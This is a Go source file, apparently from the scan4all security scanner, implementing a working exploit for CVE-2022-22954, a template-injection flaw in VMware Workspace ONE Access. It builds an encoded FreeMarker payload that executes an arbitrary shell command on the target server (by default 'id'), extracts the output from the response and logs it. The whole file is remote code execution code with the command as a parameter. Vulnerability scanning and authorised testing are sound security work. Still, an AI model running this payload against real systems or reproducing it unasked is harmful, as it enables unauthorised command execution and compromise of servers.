package vCenter

import (
	"fmt"
	"github.com/hktalent/scan4all/lib/util"
	"io/ioutil"
	urlparse "net/url"
	"regexp"
	"strings"
)

func DoCheckCVE_2022_22954(szUrl string) {
	cmd := "id"
	exploit(szUrl, cmd)

}

func check(content string) bool {
	return strings.Contains(content, "console.log")
}

func exploit(szUrl, command string) {
	szUrl += "/catalog-portal/ui/oauth/verify?code=&deviceType=&deviceUdid=%24%7b%22freemarker.template.utility.Execute%22%3fnew()(%22{command}%22)%7d"
	target := strings.Replace(szUrl, "{command}", urlparse.QueryEscape(command), -1)
	if resp, err := util.DoGet(target, map[string]string{}); nil == err {
		defer resp.Body.Close()
		if data, err := ioutil.ReadAll(resp.Body); nil == err {
			s1 := string(data)
			// fmt.Println(resp.String())
			if check(s1) {
				reg := regexp.MustCompile(`id:(.*)device`)
				res := string(reg.FindAllString(s1, -1)[0])
				res = strings.TrimRight(res, "\n, device")
				res = strings.TrimLeft(res, "id: ")
				res = strings.Replace(res, "\\n", "\n", -1)
				if res == "" {
					fmt.Println("[?] The exploit is successful but has no result.")
				} else {
					util.SendLog(szUrl, "vCenter", "CVE-2022-22954:"+res, target)
					fmt.Printf("%s", res)
				}
			}
		}
	}
}
